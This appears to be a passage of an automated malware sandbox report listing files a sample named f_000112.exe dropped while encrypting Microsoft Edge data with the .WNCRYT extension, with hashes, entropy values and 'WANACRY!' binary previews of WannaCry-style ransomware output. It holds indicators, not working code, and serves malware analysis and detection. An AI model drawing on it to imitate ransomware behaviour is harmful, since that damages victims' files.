                                                                                                                                                                              Preview:WANACRY!....o.&...k...W.AiGXQ....;..M.[s4.3..+.[.E..(KJ....c(t....I.8..Y.1.'O}.x.g.H.H.....mv<..;.!..%.G.j...e.......%..l..{...i.`......v...v..I[4....).....l.....m.!1...m. ..`.O}+/&......h...W8o..#.u3.......A6.r.D.]..t..>..)"_..c......=..p6.....W.................nM..`.. o......O...H. .jL.qr.....4..K...,....o.........jd...h.#.."..(..[.a'R.j1...8.4......t.I.=.._g......!/........P......*uP...zIta....Q.LW.[.o.xEmt...z..*.I=.~8S:.t.5...[.0.`cR.c......@=..?+.FGe..4`.}z.Q!..T....n....H.E.WS......5c.V.#?M^.Kv..."V...@.....p..m....o.b..ld....Bv........>U......`th.H(..K.0.(..\ ..F.{.E..l@p...5d..Qh..O......NY.$......B2..!...K6.SB..kle......k........u.Iq..A....j.2......}..a.%v.4...... ..^L..3R.B..~"..i.*.>Y.c..:..8r..$3.%.@2...%..O`.'..YG;.....x}....bp._C.x?Z..@..P"./...4._G....)...M.]...GvU..P..h..R.%...8G.3..-.....T:......I$.....<...Cj.....B...=k.e4....'...%T...j_.....<J\.0.05eh.Lo.P.+y...\@.p....q.g."b..`m{...H.......z.[..Q.*.!..zf...V.}X....G$.<m

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shoppingfre.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):358056
                                                                                                                                                                              Entropy (8bit):7.999467523580842
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:JznP2Hv1yj+aQOqV60uCxY3W0gYG4FhOHB1M92lt+Ejgrped84X4g4s:JnP2P1yjzSp/xXRB12WNjv2s
                                                                                                                                                                              MD5:D398A4932337746C987A6DE8EFE1F907
                                                                                                                                                                              SHA1:E6F25B9069F08FCFBED785F27F75C76222CF113F
                                                                                                                                                                              SHA-256:5C46AA3BBEA690B822463BD5CC6D813B073B9C0B5569C71EF371A19E4D38D004
                                                                                                                                                                              SHA-512:C1C2DC9C79EB65D52E790803E4C72F08F57F41901DA893CA2AADDA83596A2F5F2E12E656F04E20344E7073801E4768645B8592B7A806EE338B5D2588618C14DD
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......H.3m.;......C\....7.w.^.B...h.YR...Y'.?...;..;.r..DS@...RL........@*B6;...p.e=....y..%....AJg@?.2...!.qV.I*....5wK ..p..K7.....[.Y.....qzG........~.e,.m.I....q.Y~u..^.43.R_...s(O...Y...{4.....L..6Z.....#....1w...?..rda..T..Z.jpJ"...w./.$.=.....u....../.].5.B6..Vr.......e..q.....1..;..E..k............]..$).I.5.g.Wc.O?5i.P...L];p~..O..;...f1@.7...g4A.G.....`o;..&.....p..E$..v..........X4.z..U.......~...w....j.r........Y..{....H2...Ba..O..!Z.BGX..&]k...........t}J..fL...qj.c.s...S.A..~T7.m.15.E:.kA.D.I.V.P<...:..'..Uo.D.......k.$q8Z..r...u.>...&......cC....m.*....QI...n..is..%.,..-.xH.*.l........no..J3.Z..7...4a.'Z.I..'..5....R..".4.......E..(.Q.....0.........;..dn...[P...L:.?...0.w..mf..}....r..P.I8...BQ^.A3.pMJh..o...l..k.U....?.<_U@7..U.)$L....y.S(98y..q/..n>.[g.K.t.8....T..r....GO..W.N..Ok......,=.c`.M...C8.s.. ).P(0)C..o.B.....p2.h.x#O.s>...].m<[..lG9W.."...Yp..9.Yu9o6..7.8.?-.`.l.K.U....X.G.:A.v.;....>]...FK.}..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\automation.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):4552
                                                                                                                                                                              Entropy (8bit):7.954125503027385
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oi9ottC0jjm93U42Mv49gWUYsebJpb833UILK9fMLQi47VN9mrX7N:T9oLC0jK3zZWI2onXK9fMLQBN9mrX7N
                                                                                                                                                                              MD5:41711EA564656CD6FF0BE629036D0FB5
                                                                                                                                                                              SHA1:5CACE9035E48A6EC7C82FAD3AD31320BF80DFC90
                                                                                                                                                                              SHA-256:1D6507AE67ECA71530C47796769BBE765FC0A607882644AD4FB0FFBCB20CBE62
                                                                                                                                                                              SHA-512:538060CD0CFDFE0CBCF267D621FE3B7097093881F6568D9D31808F8ED2501D3837E6E19F8343BE5D9ABEBDAB90584D22DE1F11A046B5A474D0CD432876DD91DD
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....f.j<..G.....l,l.wqZ...9.9. _...."...|....c;..-....S^.m...*.{...W...I-wO.2V.z.A....#.}Z....;..^.._.....f.....%.\...F.'._.yK*..b..V.0...kE4..=K..D..#.k....x.'^R[....7AI.)tw...0..........4.Q.....E...3....9...\.$S.#L@.t..j..P.S.(..#&L.l..H............h.7.....Y..$ND....|...oc.....ke(R...Y.....4'8K...C..w\?V>.Y.]..[[.).....U>xo#....J5..>?o...(.v^....r..R.>....?p.'.<:.=9QXT.).b.VMH..V.P.qx>.....>.!..t@.....B.=z.E.i.O.R..{rb........r\Rt..+]...M..1..X.FH..4..x.`..17 ..s.Nn....q.T...k.4?.F..{^.k..XBPG4h....5.#.y..kEe.o.$..C]..d..K.7...C4yi.{#...p..#~m.XWhl(....v._y..5..v.C=S..9q..r.....e8..+N.cLm..:.+.D4......Xoq..%Qj...y@j.1L.mk.k.....:...U.x^...2.Wv.......<.....F...s.1.[.e.i...]....y."y.........x.e..z....N.d..2...g.$kS..]...fV.w.W...g.S.,.Tzi..Rn....i..KwT."X(..];....m7z...F..V.N .L..:...I.g^._.[..R*:..+k.C.d}l.82..y...0.K.[X.vc.@P..o.s.v5.........7....).:...:-y..l..../.....Z1xk..)$.Z....%c..lgd)U..I...2?..W.k...d.Fe..3;.B.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\classification.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1144
                                                                                                                                                                              Entropy (8bit):7.834931095110053
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk6BF9sh5jtFT6cnQEKEofOmpVdOX3Is/EU+cz++XzEwCP4kjUMu:bk6BFuhTFTXndKEGVC4s/ERkzy5Xu
                                                                                                                                                                              MD5:E3F75DC13EBD54779563226D7B4DA040
                                                                                                                                                                              SHA1:188E9EC449208C64F2983B37AE453C1A1D73DB3D
                                                                                                                                                                              SHA-256:F7B926BC64A81B7FD7B6502D7FEB2C03867586AF642BCB6C40223449C0207001
                                                                                                                                                                              SHA-512:9242635889EE09D1DE56DAB96841C3FBF855548A660FB7ACFE4B6D414C33FFAB23C096149CE2298BBC5923D2616FD8E752CD22567C967B98F3ACA571A5B96D78
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......`GSZ.$..K=.\.E..a..p..k...A...)..HW${.b*./............D;..<...Q.~..,.$.I./.....?N.....J....i.......4....Ni.H......n[n...@.....)....6 ..2.~........Ij.....<.......1k........S../1..!.%)...^..........t.Y".s.Jp.y.;.....;.pa4<............+."H...._........ra.L..MH...w.F..;...K.Q....X.....H...eM<\......_*?.m... ...ZC.dej.j,Ij/Pz.a...gz.S............./.b..^...D...?Q..b.`..0y.g..z.N........^..............m...?snT..PdG...iG .-.....e..\6.'4+..&..w|-..:s.w....%...B....v...s.FP.Q..]...-K...O.B.Z.A.cn`.>6!:7....~..&.x.v....T.N\...h...t5....g.....Z.:.......W.....X.91.A...X.....,./.A.....K..1.n...V.)..6h.:t....j..tt...]wH.AT..G...........l.f...+O.f.H).s?..=..q.....Ls.....].g.dTt).d..9;.?]2...9H.^..?.........a.[k.BF..V...l6...:..v.:oTu..\....[..OY...<..y..8P...0{...SF...4......).o.*%.B...>.....:....b<......H\+...W.+_...Eg8...=.lXp.U..>f.*Jt.P^.QX...{:.T...&cD.[.l.....[..=.....A...........@2eV\S\..Xq4.....h.M..+)..D[i........].8...ud..}*..d

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\extraction.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):5608
                                                                                                                                                                              Entropy (8bit):7.96397780500516
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oNJEPXrVVQBPCgATFk2Bv/mprq/SKxGcOT4NZThRj5PoOY:zPJVQNQq21/G2/Sg6TYn9a
                                                                                                                                                                              MD5:04FEC625DD77AD703EE2A83F4AEE5039
                                                                                                                                                                              SHA1:CE7C52E70D98F2FABCD272859DA27ABA598C60FB
                                                                                                                                                                              SHA-256:891CD0344510B38E9EBF2CDB88C3466D803BD8922C7F9D603D576FC567FF1498
                                                                                                                                                                              SHA-512:36571AC4E271D11547C40756B90581DEC5C81FEF18FC96ABC334394EB1FB03C0E5845A4248BA159B8BBF74128007AFC64082B13BAE773585DA82415D0E3ADC37
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......y;.9....![...k~.....J....5..m....zNF>....J.}f..J.8.....LK..._.{...U.0.E1..}.c.y.R.'..3G....:B... |..j...`.C..r.k#....Ec.1.|.*.'..:.7.......}.>....P..Q~...V.........z.$bk.n.cD;..8`.l.L|+V.Q...c.N.'\.D..P-9... ....Q.v....../..m.N...z...".................Z....."...d.v_..V .>....V6......$....5.Q.5.........b.o{.z......._1.a..M>..&4..J...EJ."5.(....`...... +...o...">....:.g....8q..u!.........T{...J......C.%.,.)..R..lg.n.z=^.....W.,.~Qkh......i..T|...cz=:nbt..M.I..i.DG..u....Q9g...9...B...tE.'..Z..E..Q..dQg...[.@..,.'=x.k!.k...Z...V.v....y(C.h...n";.......Qe...`MU..p$....I`.m..S..[}.....0...dhI. #.p..;....(?.}.n.t..?O....'........".#Z.K.?v.-...f..v....V..yY...>.Q....F.D....H..k...7..A...O?...*....9m._..Cy].($=....T.=_?..V......e...m....*.DR....S5..)}..$k9Q....q..x=..."..d.....].......'....^..N.}i...<.W.`........?.....P..j.C.g..[p!.D;L]...-.CBO.*.0...M......*{....~...&.....o6......X..#.!.|I..r.w..V,.hL......W..H.D.j..>.,

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\travel-facilitated-booking-bing.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2696
                                                                                                                                                                              Entropy (8bit):7.937656418969024
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkgfCGOMc5A2XtIFT9ceoo9gQcz625vQxYPP7yfH07AHNwUWg7LeOPC46VoZwRHd:ogfMMkfjvQczF5IxYPwU7U64KoCVN
                                                                                                                                                                              MD5:E7C5963AC2359D02991096F7DA1557F3
                                                                                                                                                                              SHA1:375C0273B21F255CB935EEBC441B5B839E7BD075
                                                                                                                                                                              SHA-256:B695ABFAFD2A1ACE7B2B5006BC6BA514CA7C7D770EB494B9E7F4A58B47C6E005
                                                                                                                                                                              SHA-512:8FAFD4E71B79C12846669920DB06BFE96A249193C2730DEB6ABC726C6E9899D52FC7E3EE3BC213C5CBC076543FECE1726FB5DC383111E9A7C8F52FE0FEA5F5A5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!..........te&....y-.....S.-.5..l..9.U..9Pdw.\0@........1|.U..5....y...q}.<y._N..{m...O.4.$. ...k@...@..U.}EP%...[$.Wl.{.+...$5hf`R/d..3...Qj-.Ba+.*...IW,..6...{.I./MN.=?..m|~.+y.`...>K..<(..r.v... ......J\...-2L..y.=.w*.v.d..(....-`bY6....7K._@Ug...M....g...........a(7N.....c..U.=....S..Z....Z.....i .....3n.r$'..VRa.]U.....De...{-V.*.[...&sLV:'.s.7.I.|...E.9)....$U....v..........au..6=.L....S.^q...%$....wT..^...j..2...x.i].$+Er.g~..%N..c..E...,..K..6...atc..'l37...BF...-.P.#.0....|4;,X.F ..`2........XFP..p....7k.|.~I.......$......G..J$u..Y.........<...+...8[.R:..%..........*.^h.sL.Y....<L......v_.R../..UI\.;..".uwy..q6..q.*>.J.M<E...D.@..!....J.A..\..}W.....C<.:.r....m^...\...^(.......LGy.hH...y.~...F..\`...7.r.f..B.<a._0...p.0.d.w-..j...0.....|.y.I)...xFIx03(..w.K...9....1..B.R.X$`(.-...8...Q..o.. r.V4t..e..j.........k'j........35.....e..~^.......-..Z,.....x.*...5.>.(...%.$x...Iy.......-.,..."...Po.......Ld1'.*...#.`.rAf.....9.H..g...?..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\travel-facilitated-booking-kayak.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):6136
                                                                                                                                                                              Entropy (8bit):7.97088370907646
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:o9y7wckKgIIS6OlVxRJ9H/kB6bw8zlfVMBzGzTsT8Cno5PJjsmyIBX5u28N2wFM:U8Zd8uRJ18B6bwwBMgsT8C6ywX5u28M
                                                                                                                                                                              MD5:17A20BEA5657940907F66D735251C6E8
                                                                                                                                                                              SHA1:E1BBD1638818031976428EAA4486C1DEE4FEAE1B
                                                                                                                                                                              SHA-256:068D3AA06063D7A84BE98F04670D31CFBFDB3F3E6A6720D8257C2DAB2A01369B
                                                                                                                                                                              SHA-512:0B2BA8F03BC203F5FCDD2EFEAADFBBA2E76BCF1F120EA99E493A12CF164A788EDEBA8FFB7F14E9EAA6D35EC3C35DA6C1E6BAA0BA7F08594EF89423F1768FA95F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....z.;P.p...d......Q.T......$eg.9/..L."~...>.M...c~..3.$.S9 ..)...].~..PV..D.EH...~nO...z>{.lZo.d.#..E.v^.&2D..0.Pv..(...=...p.o..`..........An...<G[.}.'v}boFq...r....j..@J......f..-<...l.X............#...un4.-...O.?N....q{......?..'.*..vJH{.o.....W.\.fw.................0.|..n.Q.N.%.+*...Y.vi.{.,.}Qq..G..qRwlc........C....j.T.1....J..z._..L..KaD..N..O....L..}...a.?.......UWl_...U...L'.lF.8.......5..x.!ro...Q.u._.\..tg.9.3.{N...d.a..v.....5.......{...0.|3.K........l....[qM.GR[qf.8...:..W....v..7.z....,*..R.,F...{V..2v..~...'Y.n.(....=.e>...i........nO...'.j.d.b...3.../9.+...U..:|r.S28..O........@.u@+S....Y.(..D...6+.g%.`n.B.....=.....J...}p.K..2X../.....&.5........u.....C............6W{X.pj........}.9=.g]o.i'...yRVM9a.. .L..6..:D.tM....cG...ui.........<'.m....U..4<\.B)...v.....c..n"..}N.z>.|......L.6`f.n&.z!a.i......&p....r............ .m.xZ>. .5.F..u4.....V..(.o.9..p`i.?:F.2.y...!.d.%........!.~...E.p..d.....N{.1t.`..O.....<.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.LICENSE.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):584
                                                                                                                                                                              Entropy (8bit):7.6411365243899265
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEK82vs2HjWE6I1iX/fhZmtoGt/GcTxgwDlmmnYCqVowDdbs:bk66cwO/fh0t8CDA17oqdI
                                                                                                                                                                              MD5:5F67E2A82A34648318E70156590D5FC8
                                                                                                                                                                              SHA1:9B36808091A59D95CF5C63F8ADAEE63AABE7F322
                                                                                                                                                                              SHA-256:BEB250F826874F4CF1A78A4197212BAEF1E77C050FFE0688C85DB6787FB5883E
                                                                                                                                                                              SHA-512:4388154F3CD96B871D71AA351F4A76AA83C7EAEB7CF01A58DD47C77E3F1F0F4ADCF9C2D375566EE5186872F6BF4A0DF36F0C968C65B3067024741B9D23854078
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.........i...U.v..o.&.hf..S....I<.t?..I.vI..!;..=.S.(.^..9w......pt...b...#.|..7.?*.'..%.,..%..V< .q...`..#..PW+J.a....F/.rU.7...2;.U#....y`..t-...O.....#....!L.Wi..Ae.Jc.....$.?+..ve.JC..,X...{........8.r.p.#K&..V+T0#....... ..iq.|.?..Ys......=..G6}....'..........\..\x....b.cb....P..j.z. W.d8.y..9..E.J.i.......l}.....f...i^.]..K7.l==2..w.[..2..}.....k[....[........Cm)R...t-K.r..l.9.....:.2.V7Fk!;...*.hGX^..L...N.4..k.....2Gy...N.5.8.8......&.I.....`T..]`6...l.Pe.....x3O'.t.4........f.2s.$C......G+....S......".$...H.c..D../._.......A....b....k.j=i%il.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):363208
                                                                                                                                                                              Entropy (8bit):7.999505695768382
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:QyrtunKu2heRLZGaIBbGCg7ti1nhvxy6CPZ+oi0brr9FaanoaBDACChCNRxKfI2f:JUnV2h+AxbuwtxyNoEaaoaBDAn8Kw6iM
                                                                                                                                                                              MD5:B9130F23BD367A185FA3E45113D9E221
                                                                                                                                                                              SHA1:2AB7630E2EAFF6E004A28A156071B058F759053D
                                                                                                                                                                              SHA-256:578B2ABEAF9955FDA55A1508BE64C6C583C5D44544F80EE1DCA18DDAFC1591BB
                                                                                                                                                                              SHA-512:D98B55C3DE7227E4FA8CE038064E4159891D5A83D38EB584A9FF8F63F1570439851BEE1700B2591CC73B0D7DF2E1BA283F706EAF3873BBF42671D825E592CE31
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....[&.s....F^.u.....*..&=.0d....S1A`."..e..`z2..`!Wj.N31.#.....':MDdP.sX.u........6z....6.Xb..,..DVC.(,v...u..:...3.....9..+.^|H....,..2.[..P....>..`..bzY..`F....5d.}.!R....I.w...Q$.<..k.~=....3.}..Y.......{.s..w.GZZAt....m...}3.4.ea.'.. +^U ]...x.............D...+..a#..1N.w.._Z-q...OR.0.H.eBf.....E8.`v.......:.V.#.A...|...r46.%f-..q..v.../....{.*..V......F|.4......{...]~6...^..u...#.OI.]..,x..U.'..:)...u&f.........*...C.a.....(b.l....'..M>...G.).6...SW..._uI..34..#.L..U..|.}.%\....2K...T..5...Z..~4.e....t..;...-.Mb..k.X..\m...a|..S[...R..Y.q.J..q2@zu.-..Q.T...D........>X..k}....[~.b...iRbTV..^.};... 5.P].....E.3...~..OCj.Wy.m.n.=.HF-..(...y..._...a.'...4..wE....j.F.u.5j.Y..wW[.9#..j..0......./.O.b..#.....pz.3...2$5..[..}...JXn.....$...Umn.~t.z..l....c.o#.@.p._:.p.t...&,Q..... .lq...6..kSJ.g...z...m.....}dZ.{./V...C..T.........D'zzq.(}.`.}M...}.R....!.H1..*..h!cP>..u......`o....e.;.........@...D........E.-..B...".o.u7w._..7.>.&o

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\shimmer.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1336
                                                                                                                                                                              Entropy (8bit):7.799762806657475
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkTVKdgYaklJxeUL+lWBQ6NKLLliz5p56x8s4U12gLYam3VTXm/A1uh5WWDOkm8n:bkZR5klR+g0lg5D611pUF3xmAydBn
                                                                                                                                                                              MD5:99D8C8ADB6F723D0B151079C53053F01
                                                                                                                                                                              SHA1:03AD41A826E3103DEB0C72363F60A891F81E1DA0
                                                                                                                                                                              SHA-256:8726964371325D82792D382EBB95AFC0AB15A7645046B958125542CBBA1AE82C
                                                                                                                                                                              SHA-512:5632E2C606C5B638C13E1FF099D3F0F641C3A4721F3D2A571932463654F5920B02118F1A92EE722E2FF4F8B431669613DC9FEA5B9B6B4B6C7A82CD0971F6092E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....=s.....Q.O;.F-...j.7^...u.x.J..M5...l.Y>..;......[c..s......s3...Y(.:.Z.DuC....k...OE.. ..A]k.&n.r.W...`V......9..D...s<.s.'.e..~.8ECv...q........\.{>=u2.].i...X....!~...3...*o....z\......wg.....Y..!`..4....-.W_jK...A.y..\...AR.%.@..6.El...f..............t.+.....I...=..7.....i..fO..%,.@...0.O...o.=c..i^+O4.m<.....Kk2N.I..<.Dn..H...-.&.....ZP...|n.7.Cl.q{0......:.v..n.G.&t...>.R.J..*.K..?...{.....5R.I..F.../(c.[!U..c...0..i.im)>.....P;....5L.n\%..YI.i.....ILJb..?...b......bU#...z`Yr.k.!.......G......O.6.3......hW8e.$q?...7.[J...K'....c..8..u...|.ne.p.8.!.I.F.m=..z.C:....m......N......_.O..7k....)..]............}....r.)~8.o.W.7hW.../H'.8.,=...=,..A....`.E.....g......]...l.>.=....$?!.$...q.....=.c.E..@i.TW.@)..$wY.p...Ga.~:.SJe.9.1Y.!k.....{]._...c..B....%J.,.8X....90....BK.m...z....8.j..D.s1....eE(.f.. .q...I..W..M._.....Y...........M.......]~X%X....JSz{....$R.'......!.Y*w...2x..T...?LG....Tu..~.>..I../.d......%'..[#:O

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js.LICENSE.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1608
                                                                                                                                                                              Entropy (8bit):7.880240501613133
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkBbrmEGBRPs3CR53NjPVO3wO9N73ne0RpALzWIcfIPLq5bcpg0ht:bkB/mw3A53NjPVOrN73nWBTqag2
                                                                                                                                                                              MD5:63C7FFA5223F1F2D58FD37212B142097
                                                                                                                                                                              SHA1:5AEBB8A89E34A9B5E71A78AD591AAF79B0A57F45
                                                                                                                                                                              SHA-256:D2A3DA311868A78362AD6FDE4E8E059AEDD58B350269CADB18C1E08776FA4F57
                                                                                                                                                                              SHA-512:B02A7E6EB944048647BA9874F03C41C27EA65D6D6B465A5135F5CEAC48C35AECEC653E19E041F6A462AAF92C767876C4A4B014E847166F16F54E72A5B2837FC4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......!c......DP2...v..~.Y.{.N|.GN....!H+.uwE..S....%...o_...... .._.y.H....s.....:..5.;....BMKJ."...*|..$..".J'...'.H+...H7;......9.E.9Y....3...E..p.=......yw@U|..r...a.q+0 ..#&.~..G:."..P...Y..:./x...z...kg.=.P..A...$.........(nD.8...r?..AE.....|......%.......:..o.o8sa#.....mUV....~..E8,.pwKS}.......Z...a ........~....+.,.U...'%..S...G..2*.-...z7a.v.`<.v...]H.C6...0..L.jc ..0(..H.......+8yci#..g....g_...1m.u.j.qY>.2&..Pk<..,..o@.......Z.6?........ ..D{~.4.m..;..a;.......!...D...y7.v..Q...L..$...'.sgl..V..._..kQ.......$W..z..EU.8.y7...z[.E.q..X~K^.|R,......a.^..{.l....P..Z...!..N..n|........K.n.B....l.. ...e.S.y@.$.N.."^y.o..!.q.....b.....A..|n-*.......x..&...9........!...j7....."..|.8#...[ElR].o.Od..K`.M.[..r.2.0.pQ.Z.?...ne............. k..#.1.:...fy..Bl.`......!..;,XS.....?.$6........2.K_.'.....1J]1.&..|....JXrk4.t.K /]<o.7.D.=e4t9.*..a..6.e`HQ4..H2b}.2..o.$....@........9..M.P.+t.u.&....4.]..N..Z.4.........0V:AF X..@....RX.5..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):493400
                                                                                                                                                                              Entropy (8bit):7.9996121960213475
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:2IoPFuLqrxJ15ueUbzL8FDpwSxRRgl2Qd7jXiSYPGQvAV7B/pvvJ0Oq3FkB/CSW6:Ho58bzL8trAdvSVPGiij5BCFTNRa
                                                                                                                                                                              MD5:0D5A42D4B904E9462639BA6BF6F7ECD9
                                                                                                                                                                              SHA1:0CBA52D3232F9AE219BCDEF37B23724764126EB5
                                                                                                                                                                              SHA-256:69243430708280D38C29D79645C15FA7F6071C3461EA86554C1FE29476FE0C53
                                                                                                                                                                              SHA-512:B0640E7372DE77783C21525D8013C7AF198139CDF2C4173BC5DFD11F43C44E53A638EB458D611D4E2498709129108B558EC05DF651100504CD6F32177E9C5710
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....'..*..p.b2.<......4.u.q........=).............$G...t...p.e.....L..)y.3]......S..7..C.."9._...x...4."..k..0...~/.M.....n.v5V.9B8......i:.5Wl..5.u.6....m.~K..;....Mr...|D..a_.......CL.]:zy.a[.v...y..fa..'.I....A.h.T.B.n..v}.a.......;J..q..U9...` f....2.......n.>.....T..b.9.......F.>.]o....J;..VU<..el`V7.ItW.....8.e.y...}....B<.r.L/^..i.=.....2..VS.Uul\G.[.@.....Q..LTe4PY3<..RM.............|.p.B.....>......L..&...%..M)T....3......_...6.Y.tk.[...*...8...\~.....5S.. m.5.jD.5..+K....(K.~..`...,T...t.....0.'..gU...u7.9;.^Cd..%.L4GD.P..M..a..............R...C..j.A.N..K.I+...?....S...t=..n...dB1|..P...Gk....y+..5N_.0k...%..tG.....I.b..y....s...It..~.n.`...|.8x.;.u.....u..j@....Ri..J"...b......>.f.+u..d...N..tV.=....z.~62..@P..'.`..!.lI3U+..k.9...x.Ce.].....56H~..R;t.....3.De.1Z.<.+a1...."..f.-...=4.0...;..z.|..g.W.....)E.P...?f.-B...O.IXT...l.G..s.=&H.b..{..... ...ka..7.7...k.t.!..75./........a%`...........SOg...R.u;.1.MP.ROam.n.:.V1.r+5.i.g...qy.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.bundle.js.LICENSE.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):584
                                                                                                                                                                              Entropy (8bit):7.645305368603743
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEwTJxPUaDwdSM3pkqohP/DS7C4OFd5oGT4C8ayr3Dx/6xUDeDn7q1/9l5qzv1/:bkbFs0aohP/DNFd5oGTlszxSGyD0l5q1
                                                                                                                                                                              MD5:451E861EE304FEA4EC8E55466BFA800C
                                                                                                                                                                              SHA1:CD402212A5A97FE205451F89DE7DDA13541863C1
                                                                                                                                                                              SHA-256:EE72E7C67EA45DCD51A12E5C994FA51F04F6BDDC8B24DC3571A6E4B104AE766C
                                                                                                                                                                              SHA-512:5D051681FA3A23827C76D85987DB246702E39C1FCEBD38F0FEF0E2DF18AAE0A1B3B41C07F4C1ED05CFDBD1241BBCB76AFD818A74F64086E7012F56C172974E24
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
